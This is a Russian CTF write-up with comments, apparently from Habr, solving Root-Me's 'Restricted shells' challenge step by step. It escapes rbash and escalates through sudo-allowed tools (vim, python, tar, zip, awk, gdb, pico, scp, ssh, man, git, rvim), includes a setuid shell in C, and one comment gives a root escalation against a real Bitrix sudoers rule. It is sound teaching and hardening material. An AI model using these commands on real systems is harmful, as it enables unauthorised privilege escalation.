Всем доброго времени суток, в этой статье постараюсь описать некоторые способы обхода ограничений на исполнение команд в ОС Linux, советы по использованию которых можно часто встретить на различных форумах. Демонстрация будет проведена на примере задания Restricted shells с сайта Root-Me. Итак, начнём.

Пользователь ch14-1


После подключения по SSH мы попадаем на первого пользователя, и видим подсказку: «Всегда проверять sudo -l». Но для начала нужно обойти первую преграду, это rbash, который часто рекомендуют использовать для ограничения действий пользователя в командной оболочке. И действительно, с виду, он является хорошим решением, но не всегда!

Нас лишили возможности использовать ls, но мы можем отобразить содержимое любой директории используя echo:

app-script-ch14@challenge02:~$ echo ./step1/*
./step1/vim

Обычно, список бинарников разрешённых к запуску в rbash находится в так называемой домашней директории. В данном случае нам доступен vim, используя который мы можем выйти в нормальную оболочку. Запускаем vim и вводим команды:


:set shell=/bin/bash
:shell



Sudo разрешает нам запустить python, а учитывая его безграничные возможности это не совсем безопасно, и вот почему:

app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python

Вводим следующие команды:

>>> import os
>>> os.system('/bin/bash')



Пользователь ch14-2


И попадаем на следующего пользователя, которому доступен архиватор tar.

app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l
    (app-script-ch14-3) NOPASSWD: /bin/tar

Казалось бы, что в этом опасного? Однако tar, как и многие другие архиваторы, позволяет упаковывать и распаковывать файл сохраняя права доступа к нему. Создадим файл shell.c следующего содержания:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
	setresgid(getegid(), getegid(), getegid());
	setresuid(geteuid(), geteuid(), geteuid());

	execve("/bin/sh", argv,  envp);
	return 0;
}

Компилируем и добавляем SUID бит:

app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell

Теперь распаковываем с сохранением прав используя sudo:

app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar

В результате, после разархивирования, файл shell обретает нового владельца. В этом можно убедиться выполнив ls -ahl:
-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell

После запуска попадаем на следующий уровень:



Пользователь ch14-3


Снова проверяем sudo:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l
    (app-script-ch14-4) NOPASSWD: /usr/bin/zip

На этот раз уже лучше, по умолчанию, zip только упаковывает файлы, для распаковки нужен unzip, который мы запустить не можем, или можем?

Заглянув в man по zip'у, находим там интересный параметр:
-TT cmd --unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:

zip archive file1 file2 -T -TT "./unzip -tqq"

In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix)

Вот и ответ. Запускаем архивацию с последующим тестированием архива, а в качестве команды для проверки, указываем unzip, который распакует файл в текущую директорию, естественно с сохранением прав доступа:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T
updating: shell (deflated 67%)
Archive:  ziFiNi11
replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: shell                  
test of z.zip OK

Проверяем результат:

app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell



Пользователь ch14-4


Смотрим, что ему доступно:

app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
    (app-script-ch14-5) NOPASSWD: /usr/bin/awk

Ну тут всё просто, достаточно выполнить команду, описание которой можно легко найти в сети:

awk 'BEGIN {system("/bin/bash")}'



Пользователь ch14-5


Новый пользователь и новые ограничения:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
    (app-script-ch14-6) NOPASSWD: /usr/bin/gdb

GDB довольно мощный отладчик, и способов вызвать bash у него гораздо больше:
Первый это через встроенный Python:

(gdb) python import os; os.system('id')
uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
(gdb) python import os; os.system('/bin/bash')

Либо аналогично, как это делали с vim:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls
(gdb) shell



Пользователь ch14-6


Если вы думаете: «Что можно сделать через такой простой редактор как pico», то вероятно вы не знаете про его проверку орфографии, о которой кстати написано в man'е. А сказано там следующее, что в качестве утилиты для проверки орфографии, мы можем указать всё что угодно. У нас уже есть отличный бинарник для запуска оболочки, нужно только придать ему соответствующие права. Для этого создадим файл spellbash.sh со следующим содержимым:

spellbash.sh
#!/bin/bash
gcc shell.c -o shell
chmod 777 shell
chmod +s shell


Изменяем права:

chmod 777 spellbash.sh

И запускаем pico, передав ему в качестве программы для проверки орфографии наш скрипт:

app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh



После успешной проверки орфографии и закрытия редактора, наш скрипт готов к запуску:

app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell



Пользователь ch14-7


Ну комментировать все последствия предоставления доступа к копированию файлов по сети не нужно, однако так как доступа в сеть у нас нет, то запустив man, узнаём следующее:
-S program — Name of program to use for the encrypted connection. The program must understand ssh(1) options.

Ок, действия аналогичны прошлому уровню:

app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell



Пользователь ch14-8


А вот это уже интересно. Однако и тут есть подводные камни. Так например, если запустить man, и в интерактивном режиме нажать "h", будет показана справка, в которой можно обнаружить вот такую запись:
!command Execute the shell command with $SHELL.

Прямое исполнение команд оболочки. То что нам нужно, открываем man для любой команды, и вводим !/bin/bash:

app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls



Пользователь ch14-9


Так как прав выполнить подключение к внешнему серверу у нас нет, то нужен способ выполнить команду, ещё до установки соединения. И такая возможность есть, воспользуемся советом, описанным тут:

app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1

Получаем сообщение о том, что соединение сброшено, но это нем и не важно, ведь:

app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell 
-rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell



Пользователь ch14-10


Git так же предоставляет множество способов выполнить стороннюю команду, мы воспользуемся наиболее простым из них, который мы использовали с man:

app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status

Далее вводим !/bin/bash и попадаем на следующего пользователя:



Пользователь ch14-11


Вот мы и дошли до ещё одного распространённого совета, вместо vim использовать его ограниченную версию rvim и вот почему: Попробовав тот же способ, что использовался в самом начале для vim, получаем ошибку:



Но и тут есть лазейки… Просматривая список доступных команд, можно наткнуться на команды :python и :lua. Ограниченный от прямого исполнения команд rvim оказался не таким уж и безопасным.

:python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')



Пользователь ch14-12


script запускает новую сессию, и полностью логирует всё в указанный файл, так что просто запускаем:

app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh



Пользователь ch14-13


Тут тоже ничего сложного, поэтому просто запускаем и снова попадаем в «начало»:

app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --



Пользователь ch14-14


На этот раз авторы учли ошибки, и убрали vim:

app-script-ch14-14@challenge02:~/step14$ echo ./*
./sl

При выполнении команды, как можно догадаться появляется анимация локомотива и надпись
THE GAME IS OVER!

Но содержимое файла .passwd, требуемое по условию задания, мы так и не получили. Значит это ещё не конец.

Посмотрим список команд, которые доступны:

[TAB] [TAB]
!                         elif                      pushd
./                        else                      pwd
:                         enable                    readonly
[                         esac                      return
[[                        eval                      select
]]                        exit                      set
alias                     export                    shift
bg                        false                     shopt
bind                      fc                        sl
break                     fg                        suspend
builtin                   fi                        test
caller                    for                       then
case                      function                  time
cd                        getopts                   times
command                   hash                      trap
command_not_found_handle  help                      true
compgen                   history                   type
complete                  if                        typeset
compopt                   in                        ulimit
continue                  jobs                      umask
coproc                    kill                      unalias
declare                   let                       unset
dirs                      local                     until
disown                    logout                    wait
do                        mapfile                   while
done                      popd                      {
echo                      printf                    }


Не густо, однако есть несколько способов получить содержимое файла .passwd, здесь будет только 1 из них, остальные оставлю вам на самостоятельный поиск. И так, просматривая help по каждой доступной команде, находим одну из них довольно интересной:

help mapfile
mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
    Read lines from the standard input into an indexed array variable.
    
    Read lines from the standard input into the indexed array variable ARRAY, or
    from file descriptor FD if the -u option is supplied.  The variable MAPFILE
    is the default ARRAY.
    
    Options:
      -n count	Copy at most COUNT lines.  If COUNT is 0, all lines are copied.
      -O origin	Begin assigning to ARRAY at index ORIGIN.  The default index is 0.
      -s count 	Discard the first COUNT lines read.
      -t		Remove a trailing newline from each line read.
      -u fd		Read lines from file descriptor FD instead of the standard input.
      -C callback	Evaluate CALLBACK each time QUANTUM lines are read.
      -c quantum	Specify the number of lines read between each call to CALLBACK.
    
    Arguments:
      ARRAY		Array variable name to use for file data.
    
    If -C is supplied without -c, the default quantum is 5000.  When
    CALLBACK is evaluated, it is supplied the index of the next array
    element to be assigned and the line to be assigned to that element
    as additional arguments.
    
    If not supplied with an explicit origin, mapfile will clear ARRAY before
    assigning to it.
    
    Exit Status:
    Returns success unless an invalid option is given or ARRAY is readonly or
    not an indexed array.


После недолгих поисков в сети примеров её использования, находим статью, которая как раз описывает способ чтения произвольного файла в переменную окружения, используя эту команду.

Воспользовавшись советом, выполняем:

app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY
app-script-ch14-14@challenge02:~/step14$ echo $ARRAY

И получаем искомый пароль.

Теперь, добавляя возможность запуска какой-либо программы в файл sudoers, не поленитесь и ознакомьтесь с полным её описанием, ведь возможно именно она станет основной дырой в безопасности.

P.S. На самом деле для каждого из уровней есть своё определённое множество решений, и найти свой собственный путь будет гораздо интереснее.
Поделиться с друзьями
-->

Комментарии (6)


  1. Carburn
    20.02.2017 00:03
    +12

    Так виновата не sudo, а программы, которые через нее запускаются.


    1. ValdikSS
      20.02.2017 21:23
      +3

      А иногда все-таки sudo, вернее разработчики, которые полностью не понимают, что делают.

      Установщик 1С-Битрикс Веб-кластер добавляет следующую строку в /etc/sudoers:

      bitrix ALL=NOPASSWD: /usr/bin/ansible * -m setup
      Разработчики, вероятно, не знали, что sudo ищет вхождения подстроки в строку, а не разделяет аргументы отдельно (как это бы было в случае какого-нибудь execv), поэтому повысить свои привилегии можно легко одной командой:
      $ sudo /usr/bin/ansible 127.0.0.1 -m shell -a 'whoami; echo -m setup'
      
      127.0.0.1 | success | rc=0 »
      root
      -m setup
      Для самого sudo аргументы выглядят следующим образом:
      ["sudo", "/usr/bin/ansible", "127.0.0.1", "-m", "shell", "-a", "whoami; echo -m setup"]
      И это соответствует написанному разработчиками правилу sudoers.


  1. Seboreia
    20.02.2017 00:23
    +3

    Вот тоже соглашусь с первым комментарием, что подводит не sudo, а правила в нем. Какие-то «сферические команды в вакууме» — не могу представить сценариев, где нужны были бы такие привелегии


  1. glowingsword
    20.02.2017 00:26
    +5

    Спасибо за интересную статью. Некоторые из упомянутых вами способов обойти ограничения sudo хорошо знакомы, но про использование python в gdb и использование zip с -TT впервые узнал из данной статьи.


  1. varnav
    20.02.2017 15:47
    +6

    Мало в линуксе таких программ, которые не умеют запустить bash. ;)


  1. ony
    21.02.2017 17:30
    +2

    Ещё раз подтверждает, что в sudo надо прописывать неинтерактивные комманды. А если нужный частичный функционал какой-то комманды, то лучше сделать враппер на баше или ещё чем-то.
    А для публично доступных аккаунтов лучше давать доступ для записи (домик и прочее) на nosuid файловую систему (совсем для паранои noexec).


    P.S. Мне казалось, что проще копировать /bin/bash себе в домик и ставить на него suid бит чем компилить что-то.